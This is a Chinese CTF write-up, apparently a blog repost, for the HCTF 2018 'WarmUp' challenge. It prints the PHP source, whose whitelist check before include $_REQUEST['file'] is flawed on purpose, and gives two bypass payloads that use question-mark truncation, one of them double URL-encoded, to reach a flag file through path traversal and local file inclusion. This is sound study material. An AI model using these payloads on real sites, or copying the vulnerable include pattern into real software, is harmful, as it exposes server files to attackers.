[HCTF 2018]WarmUp
作者:互联网
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
自己试一试
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
他会把问号后的过滤
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
echo 2;
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
echo 3;
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo 1;
}
?>
http://localhost/1.php?file=../../../../../../../../../../../ffffllllaaaagggg.php
填标记
输出:you can't see it31
?file=hint.php?../../../../../ffffllllaaaagggg 我们可以想象他传入checkFile函数要经历 第一次白名单验证,一次?过滤后,他就是hint.php ,再进行一次白名单验证 返回为真 则达成条件进行包含得到flag
?file=source.php%253f../../../../../ffffllllaaaagggg对?进行2次url编码,此时服务端解码一次,checkFile函数解码一次,结果仍是'?',可以绕过
%253f=>%3f=>?
疑惑
文件包含看最后一个?,所以最后可以成功包含ffffllllaaaagggg?
但是include $_REQUEST['file'];很明显包含的是两次url加密的?,这怎么想呢
标签:return,WarmUp,..,mb,REQUEST,HCTF,2018,file,page 来源: https://www.cnblogs.com/ProbeN1/p/15018278.html